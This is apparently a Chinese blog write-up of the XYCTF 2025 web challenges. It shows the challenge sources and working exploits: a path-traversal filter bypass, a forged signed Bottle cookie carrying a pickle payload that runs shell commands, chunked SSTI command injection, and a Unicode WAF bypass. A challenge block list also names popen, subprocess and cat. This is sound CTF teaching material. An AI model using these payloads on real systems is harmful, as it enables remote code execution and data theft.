2025xyctf-web


ez_puzzle

开发者工具打开源码然后会触发程序的反调试。这⾥直接右键,然后选择"向忽略列表添加脚本"。整个程序就不会停⽌

了,但是这样我们也不能调试了。不过没关系,这一步不重要

image-20250424224623479
1
这里要2秒完成,显然不科学,搜一下time,发现startTime与endtime,不出意外就是endtime-startTime<2s,直接给startTime=10000000,这样游戏时间就是负数<2s,然后游戏通关就行
image-20250424223733606

Signin

pickle反序列化+bottle的cookie签名

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# -*- encoding: utf-8 -*-
'''
@File    :   main.py
@Time    :   2025/03/28 22:20:49
@Author  :   LamentXU 
'''
'''
flag in /flag_{uuid4}
'''

# 导入bottle模块
from bottle import Bottle, request, response, redirect, static_file, run, route

# 从../../secret.txt文件中读取密钥
with open('../../secret.txt', 'r') as f:
    secret = f.read()

# 创建Bottle应用实例
app = Bottle()

# 定义路由'/'对应的处理函数,返回简单的问候信息
@route('/')
def index():
    return '''HI'''

# 定义路由'/download'对应的处理函数,用于处理文件下载请求
@route('/download')
def download():
    # 从请求参数中获取filename的值
    name = request.query.filename
    # 检查文件名是否包含某些可能用于目录遍历攻击的字符或模式
    if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
        # 如果检测到非法字符,返回403 Forbidden响应
        response.status = 403
        return 'Forbidden'
    # 以二进制模式打开文件并读取内容
    with open(name, 'rb') as f:
        data = f.read()
    # 返回文件内容
    return data

# 定义路由'/secret'对应的处理函数,用于处理需要身份验证的请求
@route('/secret')
def secret_page():
    try:
        # 尝试从请求的cookie中获取会话信息
        session = request.get_cookie("name", secret=secret)
        # 如果会话信息不存在或用户名为'guest',创建新的会话并设置用户名为'guest'
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=secret)
            return 'Forbidden!'
        # 如果用户名为'admin',返回特定信息
        if session["name"] == "admin":
            return 'The secret has been deleted!'
    except:
        # 如果过程中出现任何异常,返回错误信息
        return "Error!"

# 启动Bottle应用,监听地址为0.0.0.0,端口为8080,关闭调试模式
run(host='0.0.0.0', port=8080, debug=False)

首先肯定是要目录穿越拿secret.txt,不过有过滤,不过没关系,./../绕过(./../ 会先进入当前目录,然后返回上级目录,相当于 ../)

所以直接

1
download?filename=./.././.././../secret.txt 
image-20250424233507428

拿到secret:Hell0_H@cker_Y0u_A3r_Sm@r7

访问secret抓包,一看这个base64编码有这么多A,不出意外就是打pickle反序列化了

image-20250424233917984

解码一看,嗯嗯,不错

image-20250424234112927

但是注意,直接打pickle反序列化不行,不然这个secret有啥用?bottle有独特的cookie解析机制,看源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256):
        """ Return the content of a cookie. To read a `Signed Cookie`, the
            `secret` must match the one used to create the cookie (see
            :meth:`BaseResponse.set_cookie`). If anything goes wrong (missing
            cookie or wrong signature), return a default value. """
        value = self.cookies.get(key)
        if secret:
            # See BaseResponse.set_cookie for details on signed cookies.
            if value and value.startswith('!') and '?' in value:
                sig, msg = map(tob, value[1:].split('?', 1))
                hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest()
                if _lscmp(sig, base64.b64encode(hash)):
                    dst = pickle.loads(base64.b64decode(msg))	#这里触发pickle的反序列化的,果然没猜错
                    if dst and dst[0] == key:
                        return dst[1]
            return default
        return value or default

解析流程

1
2
3
4
5
6
7
8
首先得到cookies中的值
判断是否存在secret参数也就是检验是否存在签名密钥若不存在直接返回值若存在则开始下一步

检验格式!开头并且其中包含?的cookie值才有效否则直接返回deflaut

将值拆分为签名sig和消息msg并使用secret对msg进行HMAC哈希计算算法由digestmod指定默认SHA256)。再使用_lscmp对比生成的哈希与Cookie中的签名验证签名是否有效

然后问题来了如果验证通过则直接对msg进行Base64解码并用pickle反序列化数据不论后面如何只要能到这一步就能干些坏事了

所以直接开始伪造cookie,bottle有一个专门用于构造cookie的cookie_encode方法,不过这个用这个下的bottle版本小于0.13,因为Bottle 0.13弃用了cookie_encode,然后由于我的python版本是13.3版本太高,调用这个低版本的bottle出现模块不兼容,我又不想换python版本,所以就没用下列的脚本,用的手动构造cookie

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from bottle import cookie_encode
import os
import requests
secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"

class Test:
    def __reduce__(self):
        return (eval, ("""__import__('os').system('cp /f* ./2.txt')""",))

exp = cookie_encode(
    ('session', {"name": [Test()]}),
    secret
)

requests.get('http://gz.imxbt.cn:20458/secret', cookies={'name': exp.decode()})

手动构造cookie代码是

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import hashlib
import hmac
import base64
import requests


def gen_cookie(payload):
    b64pld = base64.b64encode(payload)
    signature = base64.b64encode(
        hmac.new(
            b"Hell0_H@cker_Y0u_A3r_Sm@r7", b64pld, hashlib.sha256
        ).digest()
    )
    return b'"!' + signature + b"?" + b64pld + b'"'



data = b'''(cos
system
S'cat /f* > flag'
o.'''


exp = gen_cookie(data)
print(exp)

requests.get('http://gz.imxbt.cn:20025/secret', cookies={'name': exp.decode()})

XYCTF 2025 出题人wp LamentXU - LamentXU - 博客园

XYCTF2025-WriteUp | HvAng’s Nests

bottle框架的一些特性 | Tremseの部屋

出题人已疯

利用os中的属性可赋值绕过字符限制

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
import bottle
'''
flag in /flag
'''
@bottle.route('/')
def index():
    return 'Hello, World!'
@bottle.route('/attack')
def attack():
    payload = bottle.request.query.get('payload')
    if payload and len(payload) < 25 and 'open' not in payload and '\\' not in payload:
        return bottle.template('hello '+payload)
    else:
        bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
    bottle.run(host='0.0.0.0', port=5000)

显然考bottle中的ssti只是限制了字数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

url = 'http://gz.imxbt.cn:20035/attack'


payload = "__import__('os').system('cat /f*>123')"


p = [payload[i:i+3] for i in range(0,len(payload),3)]
flag = True
for i in p:
    if flag:
        tmp = f'\n%import os;os.a="{i}"'
        flag = False
    else:
        tmp = f'\n%import os;os.a+="{i}"'
    r = requests.get(url,params={"payload":tmp}) 	#由于限制了字符,所以将payload分片注入到os.a中

r = requests.get(url,params={"payload":"\n%import os;eval(os.a)"})	#执行os.a
r = requests.get(url,params={"payload":"\n%include('123')"}).text	#文件读取
print(r)

下面从文章讲的非常详细,可以看看

[XYCTF 2025 web 出题人已疯]以新手角度快速理解官方exp的解题思路-CSDN博客

出题人又疯

bottle中ssti利用斜体字绕过waf

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# -*- encoding: utf-8 -*-
'''
@File    :   app.py
@Time    :   2025/03/29 15:52:17
@Author  :   LamentXU 
'''
import bottle
'''
flag in /flag
'''
@bottle.route('/')
def index():
    return 'Hello, World!'
blacklist = [
    'o', '\\', '\r', '\n', 'import', 'eval', 'exec', 'system', ' ', ';' , 'read'
]
@bottle.route('/attack')
def attack():
    payload = bottle.request.query.get('payload')
    if payload and len(payload) < 25 and all(c not in payload for c in blacklist):
        print(payload)
        return bottle.template('hello '+payload)
    else:
        bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
    bottle.run(host='0.0.0.0', port=5000)

https://www.cnblogs.com/LAMENTXU/articles/18805019

https://www.cnblogs.com/LAMENTXU/articles/18730353

出题人讲的很详细,o用斜体字绕过waf

1
2
{{open('/flag').read()}}
把open('/flag').read()改成%bapen('/flag').re%aad()就行了 #字符º,其URL编码后为%c2%ba,去掉%c2就可以被识别,字符a,同理。替换为%aa

至于为什么去掉%c2问了问ai

image-20250507143949954
1
2
3
4
5
原始open('/flag').read()
编码变形%bapen('/flag').re%aad()

解码过程:
%bapen → 0xBA pen → ºpen → open(视觉混淆)

ezsql(手动滑稽)

Fate

Now you see me 1

下载附件看到又base64编码字符解码看到源码

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
# -*- encoding: utf-8
'''
@File    :   src.py
@Time    :   2025/03/29 01:10:37
@Author  :   LamentXU 
'''
import flask  # 导入Flask模块,用于创建Web应用
import sys    # 导入sys模块,用于系统相关的操作

enable_hook = False  # 定义全局变量enable_hook,用于控制是否启用审计钩子
counter = 0          # 定义全局变量counter,用于记录触发审计钩子的次数

def audit_checker(event, args):  # 定义审计钩子函数
    global counter
    if enable_hook:  # 如果启用了审计钩子
        if event in ["exec", "compile"]:  # 如果事件是exec或compile
            counter += 1  # 增加计数器
            if counter > 4:  # 如果计数器超过4
                raise RuntimeError(event)  # 抛出RuntimeError异常

# 定义一个列表,包含许多被禁止的关键词和字符串,这些内容可能被用于危险操作或漏洞利用
lock_within = [
    "debug", "form", "args", "values", 
    "headers", "json", "stream", "environ",
    "files", "method", "cookies", "application", 
    'data', 'url' ,'\'', '"', 
    "getattr", "_", "{{", "}}", 
    "[", "]", "\\", "/","self", 
    "lipsum", "cycler", "joiner", "namespace", 
    "init", "dir", "join", "decode", 
    "batch", "first", "last" , 
    " ","dict","list","g.",
    "os", "subprocess",
    "g|a", "GLOBALS", "lower", "upper",
    "BUILTINS", "select", "WHOAMI", "path",
    "os", "popen", "cat", "nl", "app", "setattr", "translate",
    "sort", "base64", "encode", "\\u", "pop", "referer",
    "The closer you see, the lesser you find." # 作者的幽默注释
]

app = flask.Flask(__name__)  # 创建Flask应用实例

# 定义根路由,返回简单的欢迎信息
@app.route('/')
def index():
    return 'try /H3dden_route'  # 提示用户尝试访问隐藏路由

# 定义隐藏路由,处理用户请求
@app.route('/H3dden_route')
def r3al_ins1de_th0ught():
    global enable_hook, counter  # 使用全局变量
    name = flask.request.args.get('My_ins1de_w0r1d')  # 从请求参数中获取特定参数
    if name:  # 如果获取到参数
        try:
            # 检查参数是否以特定前缀开头
            if name.startswith("Follow-your-heart-"):
                # 检查参数是否包含禁止的关键词
                for i in lock_within:
                    if i in name:
                        return 'NOPE.'  # 如果包含禁止内容,返回错误信息
                enable_hook = True  # 启用审计钩子
                # 使用Flask的render_template_string方法渲染字符串内容
                a = flask.render_template_string('{#'+f'{name}'+'#}')
                enable_hook = False  # 禁用审计钩子
                counter = 0  # 重置计数器
                return a  # 返回渲染结果
            else:
                return 'My inside world is always hidden.'  # 返回错误信息
        except RuntimeError as e:  # 捕获RuntimeError异常
            counter = 0  # 重置计数器
            return 'NO.'  # 返回错误信息
        except Exception as e:  # 捕获其他异常
            return 'Error'  # 返回错误信息
    else:
        return 'Welcome to Hidden_route!'  # 返回欢迎信息

# 主程序入口
if __name__ == '__main__':
    import os  # 导入os模块
    try:
        # 尝试导入并删除_posixsubprocess模块中的fork_exec函数
        import _posixsubprocess
        del _posixsubprocess.fork_exec
    except:
        pass  # 如果失败,忽略错误

    # 删除os和subprocess模块中的多个函数,限制代码执行环境
    import subprocess
    del os.popen
    del os.system
    del subprocess.Popen
    del subprocess.call
    del subprocess.run
    del subprocess.check_output
    del subprocess.getoutput
    del subprocess.check_call
    del subprocess.getstatusoutput
    del subprocess.PIPE
    del subprocess.STDOUT
    del subprocess.CalledProcessError
    del subprocess.TimeoutExpired
    del subprocess.SubprocessError

    # 添加审计钩子
    sys.addaudithook(audit_checker)
    # 启动Flask应用,指定主机和端口
    app.run(debug=False, host='0.0.0.0', port=5000)

利用requests 还有orgin和authorization构造rce

ssti之Request浅析利用-先知社区

利用requests 还有mimetype构造

XYCTF2025 Now you see me 1 Writeup - Sky of Top

下面出题人思路,有点看不懂

https://www.cnblogs.com/LAMENTXU/articles/18730353

下面是request文档

API — Flask Documentation (3.2.x)

谢谢观看